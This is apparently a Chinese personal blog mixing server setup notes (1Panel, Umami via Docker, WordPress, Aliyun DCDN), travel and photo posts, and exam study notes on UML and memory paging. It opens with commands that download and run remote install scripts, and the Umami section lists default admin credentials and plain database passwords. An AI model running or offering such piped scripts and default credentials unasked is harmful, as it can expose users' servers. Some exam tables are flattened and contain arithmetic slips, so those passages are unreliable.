bash <(curl -sSL https://linuxmirrors.cn/docker.sh) # 第二步:安装 1Panel curl -sSL https://resource.fit2cloud.com/1panel/package/quick_start.sh -o quick_start.sh && sh quick_start.sh ✅ 1panel其他快捷指令 1panel app # 应用相关命令 1panel completion # Generate the autocompletion script for the specified shell 1panel help # Help about any command 1panel listen-ip # 切换监听 IP 1panel reset # 重置系统信息 1panel restore # 回滚 1Panel 服务及数据 1panel update # 修改面板信息 1panel user-info # 获取面板信息 1panel version # 获取系统版本信息 1pctl update password #更新密码 ✅ 其他 1panel类似宝塔的面板,但是功能没有宝塔的多,但是1panel也足够用了。 1panel试过还行,不过安装的dockers容器删除后,再重新部署(名称一样),会安装不了,提示名称重复,SSH 查看docker 没有容器,就一直安装不上。 而且非常不喜欢用docker 安装MySQL,所有要就尝试卸载。 ### 家用台式机配置 记录下配置; 机箱 追风者(PHANTEKS) P600S钛金灰 台式机配置 华硕 ROG STRIX Z490-A GAMING吹雪主板 NOCTUA NH-U12A CPU散热器  英特尔(Intel)10代 酷睿 i7-10700K 美商海盗船(USCORSAIR)32GB(4×8G)套装 七彩虹(Colorful)iGame GeForce RTX 3070 Ultra OC 8G 1725-1770Mhz ITX配置(服务器) 玩家国度ROG STRIX B660-I GAMING WIFI主板  英特尔(Intel) i3-12100  英睿达(Crucial)8GB DDR5 4800频率、英睿达(Crucial)16GB DDR5 4800频率 利民(Thermalright)AXP90-X47 FULL 纯铜下压风冷散热器 ### 绍兴市-王崇线跑山路线 小红书看见的,感觉还不错,今天就出发了。 本来今天是限行的,昨天申请了一次急事通。距离还好(78KM),1小时30分钟。 王崇线上山感觉一般,风景也不是特别突出。就是180°转弯比较多,基础设施还算好,但是公共卫生间很臭,不卫生,不过公共卫生间造的还蛮好看的,挺有创意。 其他的感觉一般般,应该到过的地方比较多,对于我来说是一般般。 土墙房子和新建的房子,新旧交替,房子的造型都是一样的。 山顶上有个露营的地方,感觉还是眼前一亮,人比较多。 这里要说下那边高速进隧道的时候,有奇葩事:限速100,进隧道前面的车会突然踩刹车,不是那种慢慢降速,而是突然降到60到70,要不是保持车距远,就要撞上了,真的是太奇葩了,真的是特别的危险,前面踩刹车的真的是不知道怎么想的。 ### 鱼缸-斑马鱼 好几年前养的鱼。 YI DIGITAL CAMERA ### 【富阳】安顶山 去年4月10日,拍摄。属于库存了。 O(∩_∩)O ### 皈大乡-龙腾瀑布-航拍 库存,过节无聊在养殖基地航拍,能看见龙腾瀑布。 虽然是在阴天航拍,照片黑漆漆的,不过有另外一个风格。 地址:江西省上饶市德兴市皈大乡龙腾瀑布 Created By Dji Camera ### 太子尖-航拍 疫情期间到的太子尖,人少,也没有什么开发。 Created By Dji Camera ### 杭州市萧山区同盘顶附近 第一次到萧山的同盘顶拍照,车牌是沪C。 ### 阳台花园 没封之前,阳台养了好多植物,绿油油的,通风好,夏天有风吹,凉快,不用开空调。 现在阳台封起来了,就面积多了,其他什么好处也没有。 不通风,夏天也闷热。就冬天暖和点。 ### 太子湾附近拍照 这个也是库存,好几年前拍的。 太子湾人太多,挤不进去,就在附近逛逛,拍照。 ### 杭州指南村 库存,之前放在hexo博客,然后不小心把图片都给删了。 这次重新上传。 ### 养的宠物猫 有好几年了,一只美短,一只布偶。 布偶猫 美短 ### 国庆节-太子尖 9月30日出发晚了,到太子尖都要4点半,后面下了高速掉头回杭州,5点30到家。 然后10月2日又出发了,1点出门,到太子尖3点半,还算早。这次国庆节人太多了,比疫情期间人还要多。好多地方有一点点基础设施了。 不同天气的太子尖还是不一样,这次山顶有雾气,气温比较低。 路上有咖啡车,还有小卖部。 下山拐弯处。 天气阴天,相机拍不出来,黑漆漆一片。 YI DIGITAL CAMERA YI DIGITAL CAMERA 最后瞎开车的人还是挺多,乡间开30以下(甚至开20),拐弯还要踩刹车(还停在拐弯处),真是无语。高速更是没法看,120限速,开60,还是并排,打双闪,按喇叭,还给你踩刹车。 ### 设计模型 架构模型:软件设计中的高层决策 设计模型:每一个设计模型描述了1个在为我们周围重复发生的问题,以及该问题的解决方案的核心 惯用法:是底层的模式,关注软件系统的设计和实现,实现时通过某种特定的程序设计语言来描述构件和构件之间的关系。每种编程语言都有它自己的特定的模式,即语言的惯用法 ### UML图(2.0) UML图-2.0 类图 静态图,为系统的静态设计视图,展现一组对象,接口,协作和他们之间的关系。 对象图 静态图,展现某一时刻一组对象及他们之间的关系,为类图的某一快照。在没有类图的前提下,对象退就是静态设计视图。 用例图 静态图,展现了一组用例,参与者以及他们之间的关系。用例图种的参与者是人,硬件或其他系统可以扮演的角色;用例是参与者完成的一系列操作,用例之间的关系又扩展,包含,泛化。 序列图(顺序图、动态图) 是场景的图形化表示,描述了以实际顺序组织的对象之间的交互活动。有同步消息(进行阻塞调用,调用者中止执行,等待控制权返回,需要等待返回消息,用实心三角箭头表示),异步消息(发出消息返回继续执行,不引起调用者阻塞,也不等待返回消息,由实心箭头表示)、返回消息(从右到左的虚线箭头表示)。 通信图(动态图,协作图) 强调参加交互的对象组织 状态图(动态图) 展现了1个状态机,描述单个对象在多个用例种的行为,包括简单状态和组合状态。 转换可以通过事件触发器触发,事件触发后相应的监护条件会进行检查。 状态图种转换和状态时2个独立概念。 图中方框表示状态,箭头上的代表触发事件,实心圆点为起点和终点。 活动图(动态图) 是一种特殊的状态图,展现了在系统内从1个活动到另外1个活动的流程。 活动的分岔和汇合线是一条水平粗线。 每个分岔的分支数代表了可同时运行的线程数。活动图种能够并行执行的是在1个分叉粗线下的分支上的活动。 构件图(组件图)-静态图 为系统静态实现视图,展示了1组构件之间的组织和依赖 部署图-静态图 静态图,为系统静态部署视图,部署图物理模块的节点分布。 他与构件图相关,通常1个节点包含1个或多个构件。 其依赖关系类似于包依赖,因此部署组件之间的依赖是单向的类似包含关系,如右图 ### 面向对象测试 对父类中已测试过的成员函数,有2种情况需要在子类种重新测试: 继承的成员函数在子类种做了改动。 成员函数调用了改动过的成员函数的部分。 测试序列原则 类和方法的调用顺序和测试顺序是相反的,先明确其调用顺序,再逆向获取取测试序列 当前类之间存在泛化关系时,要先测试父类,再测试子类 如果基类有构造函数,需要先测试构造函数 ### 面向对象 1、对象 由数据及其操作所构成的封装体,是系统中用来描述客观事务的1个实体,是构成系统的1个基本单位。1个对象通常可以由对象名,属性和方法,3个部分组成。 2、类 现实世界中实体的形式化描述,类将该实体的属性(数据)和操作(函数)封装在一起。 对象是类的实例,类是对象的模板。 类可以分为三种:实体类,接口类(边界类),控制类。 实体类:对象标识现实世界中真实的实体(如人,物等)。 接口类:对象为用户提供1种和系统合作交互的方式,分为人和系统两大类,其中人的接口可以是显示屏、窗口、web窗体,对话框,菜单,列表框,其他显示控制,条形码,二维码或者用户和系统交互的其他方法。系统涉及到把数据发送到其他系统,或者从其他系统接受数据。 控制类:对象用来控制活动流,充当协调者。 3、抽象 通过特定的实例抽取共同特征以后形成概念的过程。 它强调主要特征,忽略次要特征。 1个对象是现实世界种1个实体的抽象,1个类是一组对象的抽象,抽象是1种单一化的描述,它强调给出和应用相关的特性,抛弃不相关的特征。 4、封装 是一种信息隐蔽技术,将相关的概念组成1个单元模块,并通过1个名称来引用。 面向对象封装是将数据和基于数据的操作封装成1个整体对象,对数据的访问或修改只能通过对象对外提供的接口进行。 5、继承 表示类之间的层次关系(父类和子类),这种关系使得某类对象可以继承另外1类对象的特征,又可分为单继承和多继承。 6、多态 不同的对象收到同一个消息时产生完全不同的结果。 包括参数多态(不同类型参数多种结构类型)、包含多态(父子类型关系)、过载多态(类似于重载,1个名称不同含义)、强制多态(强制类型转换)4种类型。 多态由继承机制支持,将通用消息放在抽象层,具体不同的功能实现放在底层。 7、接口 描述对操作规范的说明,其只说明操作应该做什么,并没有定义操作如何做。 8、消息 体现对象间的交互,通过它向目标发送操作请求。 9、覆盖(重写?) 子类在原有父类接口的基础上,用适合于自己要求的实现去置换父类的响应实现。 即在子类种重新定义1个和父类同名同参的方法。 10、函数重载 和覆盖要区分开,函数重载和子类父类无关,且函数时同名,不同参数。 11、绑定 绑定是1个把过程调用和响应调用所需要执行的代码加以结合的过程。在一般的程序涉及语言种,绑定时在编译时进行的叫做静态绑定。 动态绑定则是在运行时进行的,因此1个给定的过程调用和代码的结合直到调用发送时才进行。 12、面向对象的分析 是为了确定问题域,理解问题。 包含5个活动:认定对象,组织对象,描述对象间的相互作用,确定对象操作,定义对象的内容信息。 13、面向对象需求建模 14、面向对象的设计 是设计分析模型和实现相应源代码,设计问题域的解决方案和技术相关。OOD同样应遵循抽象,信息隐蔽,功能独立,模块化等设计准则。 面向对象分析模型主要由:顶层架构图,用例和用例图,领域概念模型构成; 设计模型则包含以包图表示的软件体系结构图,以交互图表示的用例实现图、完整精确的类图,针对复杂对象的状态图和用以描述流程化处理过程的活动图。 15、面试对象测试 对象向对象软件的测试可分为4个层次进行 (1)算法层: 测试类中定义的每个方法,基本上相当于传统软件测试中的单元测试。 (2)类层: 测试封装在同1个类中的所有方法和属性之间的相互作用。在向面对软件中类的基本模块,因此可以人为是面向对象测试中所特有的模块测试。 (3)模板层: 测试1组协同工作的类之间的相互作用,大体上相当于传统软件测试中的集成测试,但是也有面向对象软件的特点(比如,对象之间通过发送消息相互作用) (4)系统层: 把各个子系统组装成完整的面向对象软件系统,在组装过程中同时进行测试。 16、统一建模语言UML UML(统一建模语言): 是1种可视化的建模语言,而非程序设计语言,支持从需求分析开始的软件开发的全过程。 从总体上,UML的结构包括:构造块,规则和公共机制3个部分。 (1)构造块 UML由3种基本的构造块,分别是事物(thing)、关系(relationship)、图(digram). 事物是UML的重要组成部分,关系把事物紧密联系在一起,图是多个相互关联的事务的集合。 结构事物:模型的静态部分,如类、接口、用例、构件等; 行为事物:模型的动态部分,如交互,活动,状态机; 分组事物:模型的组织部分,如包; 注释事物:模型的解释部分,依附于1个元素或1组元素之上对其进行约束或解释的简单符号 (2)共机制 公共机制是指达到特定目标的公共UML 方法 (3)规则 规则是构造块如何放在一起的规定 17、事物-关系 1、依赖 1个事物的语义依赖于另外1个事物的语义的变化而变化 2、关联 是一种结构关系,描述了一组链,链是对象之间的连接。 分为组合和聚合,都是部分和整体的关系,其中组合事物之间关系更强。两个类之间的关联,实际上是2个类所扮演角色的关联,因此2个类之间可以有多个不同角色标识的关联。 3、泛化 一般/特性的关系,子类和父类之间的关系 4、实现 1个类元指定了另外一个类元保持执行的契约 ### Umami + Docker 优化 1、更改script.js文件名称 百度搜索更改script.js名称,是为了防止广告屏蔽,把script.js给屏蔽了,导致获取不到访客的信息 更改的方法是在umami文件夹下的docker-compose.yml添加TRACKER_SCRIPT_NAME: tongji.js。 添加位置如下(第九行),umami:的environment:下面。 --- version: '3' services: umami: image: ghcr.io/umami-software/umami:postgresql-latest ports: - "3000:3000" environment: TRACKER_SCRIPT_NAME: tongji.js DATABASE_URL: postgresql://umami:umami@db:5432/umami DATABASE_TYPE: postgresql APP_SECRET: replace-me-with-a-random-string depends_on: db: condition: service_healthy restart: always db: image: postgres:15-alpine environment: POSTGRES_DB: umami POSTGRES_USER: umami POSTGRES_PASSWORD: umami volumes: - ./sql/schema.postgresql.sql:/docker-entrypoint-initdb.d/schema.postgresql.sql:ro - /mnt/256G/docker/umami-db-data:/var/lib/postgresql/data restart: always healthcheck: test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"] interval: 5s timeout: 5s retries: 5 volumes: umami-db-data: /mnt/256G/docker/umami 2、添加数据卷 默认的数据卷好像有问题, 如果迁移服务器,把整个umami文件夹压缩解压到其他服务器,之前的数据都没有了。 应该是在db,volumes改成下面的配置 volumes: - ./sql/schema.postgresql.sql:/docker-entrypoint-initdb.d/schema.postgresql.sql:ro - /mnt/256G/docker/umami-db-data:/var/lib/postgresql/data 3、把上面设置好的tongji.js,放到CDN服务上 原因是wordprss加载umami的script.js要好几秒,网站加载速度感觉上慢,不是直接加载完,是一直在加载中,所以,打算把script.js放到CDN上,进行优化。 服务器上找tongji.js和script.js找不到在哪里,只能在网站输入URL/tongji.js,js内容复制下来,放到tongji.js里面保存,把文件上传到CDN上。 然后CDN连接就是:https://cdn.saiita.com.cn/tongji.js 原始的跟踪代码 改成 umami就可以统计了 ### 记录下网站加载慢的问题 其实这个并不是服务器加载网站慢的原因。 而是PHP的post_max_size项时候少打了1个0和漏了1个单位M,填成了50。 可能是导致加载静态网站文件过慢,加载3分钟的那种。改成post_max_size=500M,就解决了加载慢的问题。 然后把网站js文件上传到CDN,网站基本上就可以秒开了。 然后测下速,之前是66分,现在是100。这个星期花钱把服务器宽带加到2M,然后内存加到4G,是白加了。刚开始还以为是网站加多了,服务器配置低,看了监控图,又不像是配置问题。 最后观察几天,是不是这个原因。 ### 【问题】WordPress 微慕微信小程序插件问题 问题1:插件的文件名不正确 在wordpress后台直接上传插件,解压后的文件名称是rest-api-to-miniprogram-v4.6.8.1。而插件运行代码的插件路径是XXX/rest-api-to-miniprogram/XXX。 这就导致wordpress后台有些图片和样式加载不出来。 所以要在后台把rest-api-to-miniprogram-v4.6.8.1文件名改成rest-api-to-miniprogram。 然后再启动插件,就解决问题了。 问题2:启动插件后,wodpress后台文章列表的小程序码列报错 那列报错信息太长,导致文章列表只能显示第一个文章,其他文章看不见了。找客服,官网发帖子,没人解决。 官网帖子 问题3:安装插件后,宝塔防火墙一直拦截跟微慕相关的URL 不知道是宝塔问题,还是其他黑客利用插件漏洞,进行网络攻击,一天3000多拦截。 要不也有可能昨天晚上我在小红书发表了小日本核污水排放的笔记,而招来的网络攻击?! 宝塔安全列表也没发现电脑IP被封的记录,也不想是被封,就是网络忒慢了。 时间从中午的11点开始,一直持续到下午2点。 还以为是配置的CDN有问题,部分网页报连接超时,然后网站打开很慢。看了阿里云的监控,上传400Kb,下载1.1Mb,已经把宽带占满了。 今天有237页记录 最后我总感觉是微慕微信小程序插件问题。 ### 微信服务号绑定微信小程序 1、登录微信服务号官网 登录微信服务号官网,并登录,在目录上找到小程序管理 2、用管理员的微信扫描登录 3、输入微信小程序appid 4、选中微信小程序并关联 ### WordPress + 微慕微信小程序配置 一、wordpress 微慕插件下载和配置 1.1、插件下载安装和配置 下载完后,名称是rest-api-to-miniprogram-v4.6.8.1,打开wordpress后台,进入安装插件,然后点击上传插件,并启动。 1.2、配置前要输入验证码 关注微慕公众号,发验证码,然后点击获取验证码,输入验证码后,就能进行配置。 1.3、如何获取微信小程序的APPID和wordprss插件配置 登录微信小程序官网,扫描登录后,在目录最下面的设置,基本设置的账户信息,就有小程序ID,复制黏贴到wordprss插件的appid输入框。 这样wordpress插件就配置好了。 二、微信小程序配置 2.1、下载微信小程序代码 gitee地址:https://gitee.com/iamxjb/winxin-app-watch-life.net 2.2、下载微信开发工具者并上传微慕小程序相关代码文件 安装好微信开发者工具并打开,创建1个小程序。或者已经有小程序的创建的时候输入appid。 2.3、上传微慕小程序 把下载下来的代码解压后,先把H:\微信小程序目录的文件都删除,把解压后的文件导入。 然后点击普通编译,查看效果 2.4、微信小程序配置 配置文件目录是:utils/config.js,找到下面的4个配置项,并替换成自己的网站相关配置参数 //配置域名,域名只修改此处。 //如果wordpress没有安装在网站根目录请加上目录路径,例如:"www.watch-life.net/blog" var DOMAIN = "www.saiita.com.cn"; var WEBSITENAME="SaiitaのBlog"; //网站名称 var PAGECOUNT='10'; //每页文章数目 var WECHAT='邮箱:chenghoufeng@hotmail.com'; //客服联系方式,如 微信号:iamxjb 或 邮箱:iamxjb@sina.com //还有个微信小程序原始ID需要修改 //小程序原始id const appghId ='gh_xxxxxxxxx' 配置好后,再次点击普通编译,微信小程序和wordpress插件相关配置就完成了。 2.5、手机预览微信小程序 在普通编译右边有个预览按键,点击预览就出现1个二维码,手机微信扫下二维码,就可以在手机查看微信小程序的效果。 三、上传代码到微信服务器 3.1、上传代码 点击微信开发者工具右上角的上传,并点击确定 3.2、更新微信小程序用户隐私保护指引 在设置的隐私和安全,更新用户隐私和保护,提交后进行审核。 不更新好像微信小程序的登录功能用不了,而且微信小程序还提交不了,只能更新后再提交审核。 3.3、微信小程序网页版提交审核 登录微信小程序网页版,在版本管理的开发版本进行提交审核 四、问题 问题1:如果wordrpss相关图片没有放在CDN和OSS的话,可以直接使用,而我是使用了CDN,图片地址是cdn.saiita.com.cn,所有微信小程序提交审核通过后,有些图片不会显示,只能是文字。 解决办法:微信小程序主题改为企业,添加业务域名:cdn.saiita.com.cn ### 皈大乡-三清山养殖基地(二) 有时候河水不大,就开车到家门口。 养殖基地河边 ### WordPress开启阿里云DCDN(全站加速) 一、阿里云DCDN 1、DCDN是什么 全站加速DCDN(Dynamic Route for Content Delivery Network)为您的应用程序提供集应用加速、边缘计算和安全防护于一体的服务。 加速服务依托于遍布全球的3200+节点,基于CDN强大的内容分发能力,DCDN进一步升级,融合了边缘计算和全链路安全防护,一站式加速所有动态和静态业务。 边缘计算通过在边缘节点编写和部署代码,就近处理客户端的请求,显著降低客户端请求的响应时间,防止源站请求过载。从而可以使源站并发降低,请求减少,业务变的更加平滑,波动降低,同时也可以降低带宽成本。 安全防护DCDN在边缘节点提供安全服务,您可以开启DDoS、WAF防护能力,在边缘节点即可识别并阻断攻击,使风险远离数据中心,保护您的网站、全业务API和应用程序等。此外,DCDN还通过提供HTTPS证书、访问控制等功能,更有效、安全地保护您的数据。 2、DCDN架构 3、应用场景 3.1、游戏加速 网页游戏和对战平台类的游戏业务可以接入DCDN,以实现路由优化、缓存加速和安全防护等综合加速服务。 3.2、电商行业 电商页面包含大量的图片文字元素,DCDN支持在边缘节点运行计算服务,实现在边缘节点做前端页面渲染。这样既不用消耗客户端性能,也避免到中心服务器去做集中的渲染,提升响应速度,加快页面加载。 DCDN支持用户将在线业务直接部署在边缘节点上,缩短物理链路耗时50%以上,就近处理客户端请求。 3.3、在线金融服务 金融行业要求网络的高可用性和高安全性。交易过程主要是动态交互类内容,跨网链接不够稳定会存在风险。因此也推荐使用DCDN服务,提供边缘WAF、边缘DDoS等安全防护,保障每一笔交易。 二、wordpress 开启 DCDN和相关配置 1、登录DCDN控制台 https://dcdn.console.aliyun.com/#/overview 2、添加域名 域名管理列表,点击添加域名。 输入加速域名(wordprss)、资源分组为默认,加速区域可用选择仅中国内地、全球、全球(不包含中国内地) 新增原站信息 3、解析DCDN域名 返回域名管理列表,就可以看见添加域名的相关信息。 复制CNAME记录,进入云解析DNS,进入对应域名。 添加记录(CNAME) 4、配置加速域名HTTPS DCDN域名管理,点击操作的配置进入加速域名配置 HTTPS证书,修改配置。我的证书是阿里云上的,之间选择云盾(SSL)证书中心,证书名称下拉框可以直接选择。 证书公钥和私钥不用填,自动填充。点击确定就开启了https 5、配置动静态加速规则 配置完https,就可以配置动静态加速规则 动态加速(自适应缓存)默认是关闭的:点击修改配置可以选择开启和关闭。 静态加速:自适应关闭,然后选择静态文件类型加速 也可以动态加速+静态加速 6、设置计费方式 在全站加速DCDN控制台的概率页面右边有个计费方式,可以进行变更。 因为之前CDN买了资源包,要使用资源包必须得改为按流量计费。 三、效果 刚开始效果不理想,加载十几秒,这个是第一次加载,然后就会缓存。 多用几次效果就有了,感觉是秒开 ### 小蚁MI微单相机 实际小蚁MI微单相机拍照质量还是挺好的。 对于我来说已经够用。拍风景的话马马虎虎。 ### 浙江杭州报软考和遇到的问题解决方法 1、准备材料 证件照:1寸白底照片(考生须知有说明) 审查材料(三选一): 身份证、户口 居住证 社保证明(连续6个月) 2、报名时间 2023-09-15 09:00~2023-09-21 16:00 3、报名 地址:https://bm.ruankao.org.cn/?160037 选择对应的省份,点击进入 4、考试须知 5、填写考生报名并上传证件照和审查材料 填写好,提交就进入等待审核 6、等待审核通过缴费 今天刚提交审核,后面的一步应该就是缴费了。 7、遇到的问题 7.1、没时间拍证件照怎么办? 周末忘记这事了。工作日没时间去照相馆拍照。等下班了都是晚上9点以后了。 所以可以用微信小程序照点点,按照要求拍照。这个是收费的10元一次。然后用官网下载的照片验证工具导出照片并上传 7.2、审查材料上传失败 我是用谷歌浏览器上传的,一直提示失败。 然后用Windows系统自带的浏览器能正常上传。 ### 解决wordpress编辑文章,更新时报错问题 1、更新文章报错内容 报错内容:更新失败。此响应不是合法的JSON响应。 2、分析最近操作步骤 2.1、防火墙 刚开始还以为是这个星期修改了防火墙配置导致的。然后查看防火墙日志,哪些是昨天开启的,再关闭。 再次更新文章还是更新失败。 2.2、插件冲突 然后猜测应该是安装的插件问题。 最近安装的是WP External Links插件。这个是管理外链和内链的插件,可以批量更新链接的相关属性。 先测试下是不是插件有问题,关闭插件。更新文章,果然没报错了。 这个插件还是挺好用的,还是只能卸载,毕竟更新文章报错了。 我猜测应该是跟Yoast SEO插件冲突了,这个插件也有管理外链的功能。 3、卸载WP External Links 问题解决 ### 【多图】杭州最近的山顶大草原 这周六早上还下雨了,挺大的,还好下午就天晴了。 这周六开车又去了一次同盘顶,这次给我的感觉是不一样的。 第一是没有了露营拍照的那些人,清静了很多。 第二是今天天气好,天晴,而且有好多白云,气温不高。 不好的一点是上同盘顶的路还是封锁的,有一把U型锁锁住了。 第三相机拍了好多满意的照片。 把车停到空地上。 在上山的路上,开了好多花,用相机拍了几张,自我感觉还是蛮好的,照片质量好。比手机拍照好多了。 上山的路不是以前的土路,已经是简单的水泥路了,可惜开不上去。 上山边上的房子,一般就1个老人在哪里,采摘茶叶的时候人就多了。 走路到达山顶。随便拍照。 在同盘顶下去一点发现了一个木椅子,瞬间就感觉是来到另外1个世界,坐在椅子上看着远处的城市,不一样的感觉。 木椅子旁边的花,不知道是什么花,还挺好看. 木椅边上发现了一个绿色蚂蚱,好大一只。 木椅背后有一偏狗尾巴草 待了差不多1个多少小时下山,下山的时候发现有钥匙的人上山了,开着一辆极客。 应该是这家伙承包了同盘顶。 然后下山沿着另外一条路下山,另外一边有瀑布,水都留到了 ### Jeep-自由侠,已行驶69900KM 今天去湖州的小浮塘,到达山脚下,高德导航没路了。上山的路很窄,但是是水泥路,分叉很多,不知道怎么上去。再找路上山不得要晚上? 然后半路就回杭州了。到家6点50分钟。 去小浮塘高速路上,停在孝丰服务站,里面一家商店也没有。 还有几年前买的小蚁MI相机,拍照还是挺给力的,近景清晰。 不过拍远处的风景,感觉还是不行。 ### 开源小而美的开源网站统计工具(Umami) 1、介绍和安装原因 Umami开源网站统计工具是在浏览相关hexo博客的时候发现的。觉得这个小而美(简洁),显示的功能还挺多。 基本上跟谷歌分析,百度统计,bing分析差不多。有网页,来源域名,浏览器,系统,设备,国家/地区数据显示。 可以添加很多网站,并进行数据统计。 下面就是怎么在服务器上安装Umami + Docker 2、安装Umami 2.1、访问Umami官网 找到Get the source code and install packages步骤,获取github拉取代码,并获取dockers的docker-compose.yml文件 git clone https://github.com/umami-software/umami.git 2.2、在自己的服务器上拉取代码 git clone https://github.com/umami-software/umami.git 等待下载完,下载时间还挺长 2.3、获取Umami的dockers PostgreSql docker pull ghcr.io/umami-software/umami:postgresql-latest MySQL docker pull ghcr.io/umami-software/umami:mysql-latest 如果服务器上部署的是PostgreSql或者MySQL,则选择对应的Docker命令行,可以在docker-compose.yml配置对应的数据库URL。 3、配置docker-compose.yml 进入umami文件夹,打开docker-compose.yml文件夹。 3.1、数据库设置 可以修改DATABASE_URL和DATABASE_TYPE,连接到自己服务器上的对应的数据库。 也可以直接默认docker-compose.yml的数据库配置。 3.2、数据卷设置 数据卷(volumes),默认是umami-db-data:/var/lib/postgresql/data,我也没修改,部署完,找过umami-db-data文件夹,不知道在哪里。 直接重启dockers的Umami相关容器,数据也不会丢失,就不管了。 3.3、Umami端口设置 还有端口设置ports,第一个是docker外部端口3000。 第二个是umami docker内部的端口3000(这个不能修改),可以修改第一个端口,如果3000端口被占用了 ports: - "3000:3000" 4、容器运行 在docker-compose.yml文件夹下运行 docker-compose up -d 等待运行完,在浏览器输入http://IP:3000,进入Umami登录页面。 Umami默认账户是: 账号:admin 密码:umami 登录成功后,为了安全起见,可以修改默认密码。 路径:设置→个人资料→密码→更新密码 6、添加网站 添加网站路径:网站→添加网站→输入域名和名称→保存 7、添加网站跟踪代码 说明:如果部署在自己家里的,则需要配置frp、宝塔(添加网站,设置SSL和反向代理)、域名解析、SSL。可以查看步骤9的相关设置。如果部署的是在公网,则不需要设置frp。 如果不是在公网部署,不设置反向代理和FRP有可能网络不通,可能统计不到数据。 路径:网站→网站列表→选择其中的1个网站(点击编辑)→跟踪代码 跟踪代码 8、博客设置跟踪代码 我的博客是wordpress,然后安装了WPJAM BASIC。 WPJAM BASIC插件有个样式定制,可以把跟踪代码放到样式定制的前台样式里,里面已经放了百度统计和谷歌分析的跟踪代码。 设置好跟踪代码,就可以登录umami查看相关数据 9、FRP客户端和宝塔设置 9.1、frp客户端设置 我的umami服务并不是部署在云服务器上的,而是部署在家里的ITX服务器上。毕竟云服务器上的配置低,服务多了有可能导致博客网站打不开。 下面就是frp客户端设置 [Umami] type = tcp local_id = 127.0.0.1 local_port = 3000 remote_port = 3000 然后重启frp客户端dockers容器。 9.2、阿里云设置 9.2.1、域名解析 路径:阿里云控制台→云解析 DNS→选择1个域名→添加A记录类型 记录值是umami的公网IP 9.2.2、添加免费1年的域名SSL 点击下面的链接,进入阿里云的SSL控制台 路径:SSL证书→免费证书→创建证书→证书申请→输入umami域名(umami.saiita.cn) 等待SSL证书审核完,下载相关web服务器证书,我的是nginx,就是下载nginx证书。 9.2.3、宝塔添加网站和设置SSL证书 宝塔路径:网站→添加网站→输入域名→SSL→输入阿里云免费证书的密钥(key)和证书(PEM格式)→开启强制HTTPS 设置nginx反向代理 10、查看umami统计数据 11、umami配置流程 ### 8、页式存储管理 将进程空间分为1个个页,假设每个页大小为4K,同样的将系统的物理空间也分为1个个4K大小的物理块(页帧号),每次将需要运行的逻辑页装入物理块中,运行完再装入其他需要运行的页,可用分批次运行完进程,而无需将整块逻辑空间全部装入物理页内存中。 页式存储管理 有点:利用率高,碎片小(只有最后1个页中有)、分配即管理简单。 缺点:增加了系统开销,可能产生抖动现象 真题: 题1:某计算机系统页面大小为4K,若进程的页面转换表如下所示,逻辑地址为十六进制1D16H。该地址经过变换后,其物理地址应为十六机制(B) 页号物理块号01132436 A.1054H B.3D16H C.4DI6H D.6D16H 4K=1024*4字节=4096=212,所以页内偏移位12位。由此,可知逻辑地址1D16H的低位12位D16H为偏移地址,高位4位1为逻辑页号,在页表中对应物理块号3,因此物理地址为3D16H 题2: 某进程有4个页面,页号为0~3,页面变换表及状态位,访问位和修改位的含义如下图所示,若系统给该进程分配3个存储块,当访问前页面1不在内存时,淘汰表中页号为(D)的页面代价最小。 页号页帧号状态位访问位修改位061111-0002311132110 状态位含义0 不在内存状态位含义1 在内存、访问位含义0 未访问过访问位含义1 访问过修改位含义0 未修改过修改位含义1 修改过 A.0 B.1 C.2 D.3 快表 是一块小容量的相联存储器,由快速存储器组成,按内容访问,速度快,并且可以从硬件上保证按内容并行查处,一般用来存放当前访问最频繁的少数活动页面的页号 快表是将页表村庄与cache中,慢表将页表存在于内存上。 因此慢表需要访问2次内存才能取出页,而快表是访问1次cache和1次内存,因此更快 段式存储管理 将进程空间分为1个个段,每段也有段号和段内地址,与页式存储不同的式,每段物理大小不同,分段式根据逻辑整体分开段的。 地址表示:(段号,段内偏移):其中段内偏移不能超过该段号对应的段长,否则越界错误,而此地址对应的真正内存地址应该是:段号对应的基地址+段内偏移 例题:设某进程的段表如下所示,逻辑地址(B)可以转换未对应的物理地址 段号基地址段长0159860014865029010031327298841952960 A.(0,1597)、(1,30)和(3,1398) B.(0,128)、(1,30)和(3,1390) C.(0,1597)、(2,98)和(3,1390) D.(0,128)、(2,98)和(4,1066) 解析:(段号,段内偏移)其中段内偏移不能超过该段号对应的段长,否则越界错误。 A:段号0,对应的段长是600,而A选择中段长是1597。所以A错误 C同A D:段号0,段长128,128<600。段号2,段长98,98小于100。段号4,段长1066,1066>960,已经越界,错误。 所以ACD错误,B正确 段页式存储管理 对进程空间先分段,后分页,具体原理图和优点缺点如下 优点:空间资源小,存储共享容易,能动态连接 缺点:由于管理软件的增加,复杂性和开销也增加,执行速度下降 文件结构 计算机系统中采用的索引文件结构如左图所示: 系统中由13个索引节点,0-9为直接索引,即每个索引节点存放的式内存,假设每个物理盘大小为4KB,共可存4KB*10=40KB数据; 1号索引节点为1级间接索引节点,大小为4KB,存放的并非直接数据,而是链接到直接物理盘块的地址,假设每个地址占4B,则共有1024个地址,对应1024个物理盘,可存1024*4BK=4098KB. 二级索引节点类似,直接盘存放一级地址,一级地址再存放物理盘块地址,而后链接到存放数据的物理盘块,容量又扩大了1个数量级为1024*1024*4KB数据 真题:设文件索引节点中有8个地址项,每个地址项大小为4字节(B),其中5个地址为直接索引,2个地址项是一级间接索引地址,1个地址是二级间接地址索引,磁盘索引块和磁盘块大小均为1KB,若要访问文件的逻辑块分别为5和518,则系统应采用(),而且表示的单个文件最大长度是() A.直接地址索引和一级间接地址索引 B.直接地址索引和一级间接地址索引 C.一级间接地址索引和二级地址索引 D.一级间接地址索引和一级地址索引 A.517 B.1029 C.16513 D.66053 解析:有5个地址项为直接地址索引,索引直接地址索引涉及到的逻辑块号为:0~4,2个地址项为一级间接地址索引,每个一级间接索引节点对应的逻辑块个数为1KB/4B=256个。所以一级间接所以涉及到的逻辑块号为:5-516。二级间接所以多对应的逻辑块号几位:517以上,可表示的单个文件的长度,首先计算直接地址索引,就是5个数据块,为5KB,而后一级间接地址索引,可表示256个数据库,即256KB。二级间接256*256KB,全部加起来共5+256*2+256*256=66053 树形文件目录 相对路径:是从当前路径开始的路径 绝对路径:是从根目录开始的路径 全文件名=绝对路径+文件名(绝对路径和相对路径是不加最后的文件名,只是单纯的路径序列) 树形结构主要是区分相对路径和绝对路径,如左图所示 空闲存储空间管理 